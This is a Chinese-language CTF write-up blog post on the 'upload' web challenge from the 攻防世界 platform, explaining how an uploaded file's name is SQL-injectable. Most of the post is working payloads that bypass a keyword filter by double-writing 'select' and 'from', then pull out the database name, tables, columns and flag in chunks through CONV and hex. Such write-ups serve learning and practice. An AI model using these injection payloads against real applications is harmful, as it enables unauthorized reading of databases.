攻防世界 upload

攻防世界上的一道web题  

为什么我觉得完全不像萌新入坑的题呢  退坑还差不多吧

一看名字以及页面想当然的就是文件上传了呗

结果各种尝试,也没什么办法,但是每次我们上传后会有文件名的回显

但是正常的文件上传也都有这种名字的回显,可能不太寻常的就是这个没有路径吧

最后看的writeup  说是sql注入????不明白怎么能看出来是注入的

图片文件名存在注入,并且过滤了select from  用双写就能绕过

payload = sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

上网查了一下CONV这个函数

意思就是我们将substr(hex(dAtaBase()) 的结果从16进制转化为10进制

起初我没明白为什么要这么长 直接sselectelect database()不就行了吗?

尝试以后发现应该都是题的设置

sselectelect database()  =>  0

selecselectt substr(dAtabase(),1,12)  =>  0

selecselectt substr(hex(dAtabase()),1,12)  =>  7765625          这里正常应该显示7765625f7570才对,可能是题目的设置,出现字母以后后面内容就会被截断

所以才用到了CONV,将16进制转化为10进制

但是又有了一个疑问,为什么substr要设置为1到12呢,尝试以后发现

当我们设置为1,13时  

出现了科学计数法,这是无法转化为10进制的,所以才设定了1,12这个限制

这些搞明白了以后那就开始注入了

库: 

sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg  => 131277325825392  => web_up (这里将10进制再转化为16进制进行hex解码就出来了)

sql'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg  =>  1819238756  =>  load

拼接以后 web_upload

表: 

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),1,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),13,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),25,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),37,12),16,10))+'.jpg

拼接以后为 files,hello_flag_is_here

列:

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'.jpg

拼接以后为 i_am_flag

字段:

sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+'.jpg

拼接以后为 !!_@m_Th.e_F!lag

 

又学到了新的注入方法,但是这个的局限性应该挺大的,不知道是脑洞太大还是我太菜,哭了

posted @ 2019-04-18 19:40  sharp_ff  阅读(3140)  评论(0编辑  收藏  举报